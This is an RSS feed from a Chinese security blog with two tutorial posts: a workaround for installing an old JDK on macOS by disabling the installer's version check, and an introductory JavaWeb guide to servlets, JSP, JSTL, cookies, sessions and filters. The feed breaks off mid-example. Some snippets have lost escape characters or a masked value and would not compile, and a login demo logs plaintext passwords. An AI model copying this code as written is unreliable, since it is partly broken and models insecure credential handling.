<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>编程学习 &#8211; ChaBug安全</title>
	<atom:link href="/topics/code/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 20 Oct 2020 08:01:48 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Mac安装低版本Jdk解决方案</title>
		<link>/others/2003.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 20 Oct 2020 08:01:48 +0000</pubDate>
				<category><![CDATA[其他杂乱]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=2003</guid>

					<description><![CDATA[前言 因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误 解决方法 安装包pkg解压以后修改里面的判断版本的代码...]]></description>
										<content:encoded><![CDATA[<ul>
<li>前言</li>
</ul>
<p><strong>因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误</strong></p>
<p><img src="/wp-content/uploads/2020/10/20201020154148.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020154602.png" alt="" /></p>
<ul>
<li>解决方法</li>
</ul>
<p><strong>安装包pkg解压以后修改里面的判断版本的代码，然后在打包安装就可以了。</strong></p>
<h2>操作步骤</h2>
<ul>
<li>将安装包JDK 7 Update 67.pkg解压成unpkg包</li>
</ul>
<pre><code class="line-numbers">╰─➤  pkgutil --expand JDK 7 Update 67.pkg /tmp/jdk.unpkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020154840.png" alt="" /></p>
<ul>
<li>进入jdk.unpkg，里面有个Distribution的文件，输入vim Distribution编辑此文件</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155050.png" alt="" /></p>
<ul>
<li>编辑文件，修改验证逻辑</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155303.png" alt="" /></p>
<pre><code class="line-numbers">function pm_install_check() {
  return true;
}
</code></pre>
<ul>
<li>修改完如图</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155345.png" alt="" /></p>
<ul>
<li>再次打包成pkg</li>
</ul>
<pre><code class="line-numbers">pkgutil --flatten /tmp/jdk.unpkg /tmp/jdk.pkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020155533.png" alt="" /></p>
<ul>
<li>安装低版本Jdk</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155640.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020155709.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之JavaWeb</title>
		<link>/code/1979.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:35:19 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1979</guid>

					<description><![CDATA[JavaWeb Servlet 实现了Servlet接口的java程序叫做Servlet 引入Servlet包 &#60;dependencies&#62; &#60;dependenc...]]></description>
										<content:encoded><![CDATA[<h1>JavaWeb</h1>
<h2>Servlet</h2>
<p><strong>实现了Servlet接口的java程序叫做Servlet</strong></p>
<ul>
<li>引入Servlet包</li>
</ul>
<pre><code class="language-java line-numbers">&lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;javax.servlet&lt;/groupId&gt;
            &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt;
            &lt;version&gt;3.1.0&lt;/version&gt;
        &lt;/dependency&gt;

        &lt;dependency&gt;
            &lt;groupId&gt;javax.servlet.jsp&lt;/groupId&gt;
            &lt;artifactId&gt;jsp-api&lt;/artifactId&gt;
            &lt;version&gt;2.2&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200929152216.png" alt="" /></p>
<ul>
<li>新建moudle修改web.xml头信息</li>
</ul>
<pre><code class="language-java line-numbers">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
          http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"&gt;
&lt;/web-app&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200929160818.png" alt="" /></p>
<h3>helloServlet</h3>
<p><strong>编写代码</strong></p>
<pre><code class="language-java line-numbers">import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter ();
        writer.print ("hello,y4er");

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}
</code></pre>
<ul>
<li>编写Servlet映射（web.xml中）</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;servlet&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;servlet-class&gt;helloservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/hello&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929162503.png" alt="" /></p>
<h3>ServletContext</h3>
<pre><code class="language-java line-numbers">this.getInitParameter() 初始化参数
this.getServletConfig() Servlet配置
this.getServletContext() Servlet上下文
</code></pre>
<h4>共享数据</h4>
<ul>
<li>helloservlet</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();

        String user = "syst1m";

        servletContext.setAttribute ("username",user);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}
</code></pre>
<ul>
<li>replyservlet</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class replyservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String username = (String) servletContext.getAttribute ("username");

        resp.setContentType ("text/html");
        resp.setCharacterEncoding ("utf-8");
        resp.getWriter ().print ("名字为"+username);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet (req, resp);
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;servlet-class&gt;helloservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/hello&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
  &lt;servlet&gt;
    &lt;servlet-name&gt;reply&lt;/servlet-name&gt;
    &lt;servlet-class&gt;replyservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;reply&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/reply&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929171626.png" alt="" /></p>
<h4>获得初始化参数</h4>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;context-param&gt;
    &lt;param-name&gt;jdbc&lt;/param-name&gt;
    &lt;param-value&gt;jdbc:mysql://localhost:3306/mybatis&lt;/param-value&gt;
  &lt;/context-param&gt;
</code></pre>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;jdbc&lt;/servlet-name&gt;
    &lt;servlet-class&gt;jdbcServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;jdbc&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/jdbc&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>代码</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String url = servletContext.getInitParameter ("jdbc");
        resp.getWriter ().print (url);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929181012.png" alt="" /></p>
<h4>转发</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class forward extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        servletContext.getRequestDispatcher ("/jdbc").forward (req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<h4>读取资源文件</h4>
<ul>
<li>db.properties</li>
</ul>
<pre><code class="language-java line-numbers">username=syst1m
password=123456
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        InputStream is = this.getServletContext ().getResourceAsStream ("WEB-INF/classes/db.properties");

        Properties prop = new Properties ();
        prop.load (is);
        String username = prop.getProperty ("username");
        String password = prop.getProperty ("password");

        resp.getWriter ().print (username+password);

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929213530.png" alt="" /></p>
<h3>HttpServletResponse</h3>
<h4>Response下载文件</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class FileServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //获取下载文件的路径
        String realPath = "/Users/syst1m/code/chabugservlet/com.web.servlet/src/main/resources/1.png";
        String FileName = realPath.substring (realPath.lastIndexOf ("\")+1);
        resp.setHeader ("Content-Disposition","attachment;filename="+ URLEncoder.encode (FileName,"UTF-8"));
        FileInputStream in = new FileInputStream (realPath);
        int len = 0;
        byte[] buffer = new byte[1024];
        ServletOutputStream out = resp.getOutputStream ();
        while((len=in.read(buffer))&gt;0){
            out.write (buffer,0,len);
        }

        in.close();
        out.close ();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">&lt;/servlet-mapping&gt;
  &lt;servlet&gt;
    &lt;servlet-name&gt;down&lt;/servlet-name&gt;
    &lt;servlet-class&gt;FileServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;down&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/down&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930105034.png" alt="" /></p>
<h4>Response实现验证码</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class captchaServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //浏览器每三秒刷新一次
        resp.setHeader ("refresh","3");
        //内存中创建一张图片
        BufferedImage image = new BufferedImage (80,20,BufferedImage.TYPE_3BYTE_BGR);
        //得到图片
        Graphics2D g = (Graphics2D)image.getGraphics ();
        //设置图片背景色
        g.setColor (Color.white);
        g.fillRect (0,0,80,80);
        //给图片写数据
        g.setColor (Color.blue);
        g.setFont (new Font (null,Font.BOLD,20));
        g.drawString (makenum(),1,20);
        //浏览器：以图片类型打开
        resp.setContentType ("image/jpeg");
        //清除缓存，不让浏览器缓存
        resp.setDateHeader ("expires",-1);
        resp.setHeader ("Cache-Control","no-cache");
        resp.setHeader ("Pragme","no-cache");
        // 把图片写给浏览器
        ImageIO.write (image,"jpg",resp.getOutputStream ());

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
    //生成随机数

    private String makenum(){
        Random random = new Random ();
        String num = random.nextInt (9999)+"";
        StringBuffer sb = new StringBuffer ();

        for (int i = 0; i &lt; 7-num.length (); i++) {
            sb.append ("0");
        }
        num = sb.toString ()+num;
        return num;
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">&lt;servlet&gt;
    &lt;servlet-name&gt;img&lt;/servlet-name&gt;
    &lt;servlet-class&gt;captchaServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;img&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/img&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930141558.png" alt="" /></p>
<h4>Response实现重定向</h4>
<pre><code class="line-numbers">resp.sendRedirect
</code></pre>
<h3>HttpServletRequest</h3>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;
    &lt;servlet-class&gt;LoginServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/login&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>index.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@ page contentType="text/html;charset=UTF-8" language="java" %&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;登陆&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;登陆&lt;/h1&gt;
    &lt;div&gt;
        &lt;form action="${pageContext.request.contextPath}/login" method="post"&gt;

            用户名：&lt;input type="text" name="username"&gt;&lt;br&gt;
            密码：&lt;input type="password" name="password"&gt;&lt;br&gt;
            爱好：
            &lt;input type="checkbox" name="hobbys" value="女孩"&gt;女孩
            &lt;input type="checkbox" name="hobbys" value="代码"&gt;代码
            &lt;input type="checkbox" name="hobbys" value="chabug"&gt;chabug
            &lt;input type="checkbox" name="hobbys" value="渗透测试"&gt;渗透测试

            &lt;br&gt;
            &lt;button type="submit"&gt;submit&lt;/button&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;  
</code></pre>
<ul>
<li>success.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@ page contentType="text/html;charset=UTF-8" language="java" %&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;登陆成功&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;登陆成功&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<ul>
<li>LoginServlet</li>
</ul>
<pre><code class="language-java line-numbers">public class LoginServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       req.setCharacterEncoding ("UTF-8");
       resp.setCharacterEncoding ("UTF-8");
       String username = req.getParameter ("username");
       String password = req.getParameter ("password");
       String[] hobbys = req.getParameterValues ("hobbys");

       System.out.println (username);
       System.out.println (password);
       System.out.println (Arrays.toString (hobbys));
       req.getRequestDispatcher ("/success.jsp").forward (req,resp);


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930215258.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20200930220719.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20200930220653.png" alt="" /></p>
<h3>Cookie</h3>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;servlet&gt;
    &lt;servlet-name&gt;cookie&lt;/servlet-name&gt;
    &lt;servlet-class&gt;CookieServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;cookie&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/cookie&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
&lt;/web-app&gt;
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class CookieServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //解决乱码

        req.setCharacterEncoding ("UTF-8");
        resp.setCharacterEncoding ("UTF-8");
        PrintWriter out = resp.getWriter ();
        Cookie[] cookies = req.getCookies ();

        if(cookies!=null){
            out.write ("你上一次的时间是");
            for (int i = 0; i &lt; cookies.length; i++) {
                Cookie cookie = cookies[i];
                if(cookie.getName ().equals ("lastlogintime")){
                    long logintime = Long.parseLong (cookie.getValue ());
                    Date date = new Date (logintime);
                    out.write (date.toLocaleString ());
                }
            }
        }else {
            out.write ("这是你第一次访问本站点");
        }
        Cookie cookie = new Cookie ("lastlogintime",System.currentTimeMillis ()+"");
        cookie.setMaxAge (***);
        resp.addCookie (cookie);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201001155826.png" alt="" /></p>
<h3>Session</h3>
<ul>
<li>设置，读取，删除</li>
</ul>
<pre><code class="language-java line-numbers">protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //获取Sesseion对象
        HttpSession session=request.getSession();
        session.setAttribute("username", "zhangsan");//存储数据
        session.getAttribute("username");//获取数据
        session.removeAttribute("username");//删除数据
    }
</code></pre>
<ul>
<li>Session的销毁</li>
</ul>
<pre><code class="line-numbers">session.invalidate()
</code></pre>
<h2>JSP</h2>
<ul>
<li>jsp原理</li>
</ul>
<p><strong>内置对象</strong></p>
<pre><code class="language-java line-numbers">final javax.servlet.jsp.PageContext pageContext; 页面上下文
javax.servlet.http.HttpSession session1 = null; session
final javax.servlet.ServletContext application; applicationContext
final javax.servlet.ServletConfig config; config
javax.servlet.jsp.JspWriter out = null; out 
final java.lang.Object page = this; page 当前
HttpServletRequest request  请求
HttpServletResponse response 响应
</code></pre>
<ul>
<li>maven依赖</li>
</ul>
<p><strong>JSTL表达式依赖</strong></p>
<pre><code class="language-java line-numbers">&lt;dependency&gt;
    &lt;groupId&gt;javax.servlet.jsp.jstl&lt;/groupId&gt;
    &lt;artifactId&gt;jstl-api&lt;/artifactId&gt;
    &lt;version&gt;1.2&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p><strong>standard标签库</strong></p>
<pre data-language=XML><code class="language-markup line-numbers">&lt;dependency&gt;
    &lt;groupId&gt;taglibs&lt;/groupId&gt;
    &lt;artifactId&gt;standard&lt;/artifactId&gt;
    &lt;version&gt;1.1.2&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201002165412.png" alt="" /></p>
<h3>JSP基础语法和指令</h3>
<ul>
<li>Tomcat热部署</li>
</ul>
<pre><code class="line-numbers">https://blog.csdn.net/jc0803kevin/article/details/88579109
</code></pre>
<ul>
<li>Jsp表达式</li>
</ul>
<pre><code class="line-numbers">&lt;%--jsp表达式，用来将程序的输出，输出到客户端--%&gt;
&lt;%--&lt;%= 变量或表达式%&gt;--%&gt;
&lt;%= new java.util.Date()%&gt;
</code></pre>
<ul>
<li>jsp脚本片段</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%

    int sum = 0;
    for (int i = 0; i &lt; 100; i++) {
        sum+=1;
    }

    out.println ("&lt;h1&gt;sum="+sum+"&lt;/h1&gt;");
%&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201002175313.png" alt="" /></p>
<ul>
<li>jso声明</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%!

    static {
        System.out.println ("Loading Servlet");
    }

    private int globalVar = 0;

    public void test(){
        System.out.println ("进入了方法test");
    }
%&gt;
</code></pre>
<p><strong>jsp声明会被编译到JSP生成的java的类中，其他的会被生成到_jspServlet方法中</strong></p>
<h3>JSP指令</h3>
<ul>
<li>定制错误页面</li>
</ul>
<p><strong><%@page args...%></strong></p>
<pre><code class="line-numbers">&lt;%@page errorPage="err/err.html" %&gt;
</code></pre>
<ul>
<li>文件包含</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@include file="index.jsp"%&gt;
&lt;jsp:include page="index.jsp"&gt;
</code></pre>
<h3>JSP内置对象及作用域</h3>
<ul>
<li>9大内置对象</li>
</ul>
<pre><code class="line-numbers">PageContext  存东西
Request  存东西
Response
Session
Application  [ServletContext] 存东西
config  [ServletConfig]
out
page
exception
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers"> pageContext.setAttribute("name1","syst1m1");  //一个页面中有效
 request.setAttribute("name2","syst1m2"); //一个请求中有效
 session.setAttribute("name3"."syst1m3"); //一个会话中有效
 application.setAttribute("name4"."syst1m4"); //保存的数据在服务器中中有效
</code></pre>
<ul>
<li>通过寻找的方式获取</li>
</ul>
<pre><code class="line-numbers">pageContext.findAttribute();
</code></pre>
<ul>
<li>重定向</li>
</ul>
<pre><code class="line-numbers">pageContext.forward()
</code></pre>
<h3>Jsp、JSTL标签、EL表达式</h3>
<h4>EL表达式</h4>
<ul>
<li>el表达式 ${}</li>
</ul>
<p><strong>获取数据</strong></p>
<pre><code class="line-numbers">${标识符}
</code></pre>
<p><strong>执行运算</strong><br />
<strong>获取web开发的常用对象</strong></p>
<h4>jsp标签</h4>
<pre><code class="language-java line-numbers">&lt;jsp:forward page="test.jsp"&gt;
    &lt;jsp:param name="paramtest" value="test"/&gt;
&lt;/jsp:forward&gt;
</code></pre>
<h4>JSTL表达式</h4>
<h5>核心标签</h5>
<ul>
<li>引入JSTL核心标签库</li>
</ul>
<pre><code class="line-numbers">&lt;%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %&gt;
</code></pre>
<ul>
<li>set标签：将值保存在指定的作用域中</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%-- var="变量名"  value="值" scope="保存在哪个作用域（page、request、session、application）"--%&gt;
&lt;c:set var="userName" value="yzq" scope="page"&gt;&lt;/c:set&gt;
&lt;span&gt;${userName}&lt;/span&gt;&lt;%--配合EL表达式取值--%&gt;
</code></pre>
<ul>
<li>out标签：将结果输出</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%--取值--%&gt;
&lt;c:out value="${userName}"&gt;&lt;/c:out&gt;
</code></pre>
<ul>
<li>if标签：判断</li>
</ul>
<pre><code class="language-java line-numbers">&lt;c:if test="${age&gt;20}"&gt;

    &lt;span&gt;奔三的人了&lt;/span&gt;

&lt;/c:if&gt;
</code></pre>
<ul>
<li>choose：选择，跟java中的switch语句类似</li>
</ul>
<pre><code class="language-java line-numbers">&lt;c:set var="age" scope="page" value="40"&gt;&lt;/c:set&gt;
&lt;c:choose&gt;

    &lt;%--符合该条件时执行--%&gt;
    &lt;c:when test="${age&gt;20&amp;&amp;age&lt;30}"&gt;
        &lt;span&gt;奔三的人了&lt;/span&gt;
    &lt;/c:when&gt;

    &lt;%--符合该条件时执行--%&gt;
    &lt;c:when test="${age&lt;20}"&gt;
        &lt;span&gt;还是小鲜肉&lt;/span&gt;

    &lt;/c:when&gt;

    &lt;%--之前条件都不满足时，执行这个--%&gt;
    &lt;c:otherwise&gt;

        &lt;span&gt;可以考虑养生了&lt;/span&gt;

    &lt;/c:otherwise&gt;
&lt;/c:choose&gt;
</code></pre>
<ul>
<li>forEach标签：用于迭代集合</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%--迭代标签 用于迭代集合--%&gt;
&lt;c:forEach items="${users}" var="user"&gt;

    &lt;span&gt;${user.name}&lt;/span&gt;:&lt;span&gt;${user.age}&lt;/span&gt;
    &lt;br&gt;

&lt;/c:forEach&gt;
</code></pre>
<h3>JavaBean</h3>
<p><strong>一般用来与数据库的字段做映射</strong></p>
<h4>code</h4>
<ul>
<li>javabean.java</li>
</ul>
<pre><code class="language-java line-numbers">package com.bean.pojo;

public class People {

    private int id;
    private String name;
    private int age;
    private String address;

    public People() {
    }

    public People(int id, String name, int age, String address) {
        this.id = id;
        this.name = name;
        this.age = age;
        this.address = address;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getAddress() {
        return address;
    }

    public void setAddress(String address) {
        this.address = address;
    }

    @Override
    public String toString() {
        return "People{" +
                "id=" + id +
                ", name='" + name + ''' +
                ", age=" + age +
                ", address='" + address + ''' +
                '}';
    }
}
</code></pre>
<ul>
<li>javabean.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;jsp:useBean id="people" class="com.javabean.pojo.People" scope="page"/&gt;
&lt;jsp:setProperty name="people" property="address" value="北京"&gt;&lt;/jsp:setProperty&gt;
&lt;jsp:getProperty name="people" property="address"/&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201009164549.png" alt="" /></p>
<h3>过滤器Filter</h3>
<ul>
<li>编写Servlet</li>
</ul>
<pre><code class="language-java line-numbers">public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
         resp.getWriter ().write ("你好呀，世界");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>编写Filter</li>
</ul>
<pre><code class="language-java line-numbers">public class encodeing implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding ("utf-8");
        servletResponse.setCharacterEncoding ("utf-8");
        servletResponse.setContentType ("text/html;charset=UTF-8");
        System.out.println ("过滤器执行前");
        filterChain.doFilter (servletRequest,servletResponse);
        System.out.println ("过滤器执行后");
    }

    public void destroy() {

    }
}
</code></pre>
<ul>
<li>注册Filter</li>
</ul>
<pre data-language=XML><code class="language-markup line-numbers">&lt;filter&gt;
    &lt;filter-name&gt;encode&lt;/filter-name&gt;
    &lt;filter-class&gt;encodeing&lt;/filter-class&gt;
  &lt;/filter&gt;
  &lt;filter-mapping&gt;
    &lt;filter-name&gt;encode&lt;/filter-name&gt;
    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
  &lt;/filter-mapping&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201010210744.png" alt="" /></p>
<h3>监听器</h3>
<h4>统计在线人数Demo</h4>
<ul>
<li>index.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;html&gt;
&lt;body&gt;
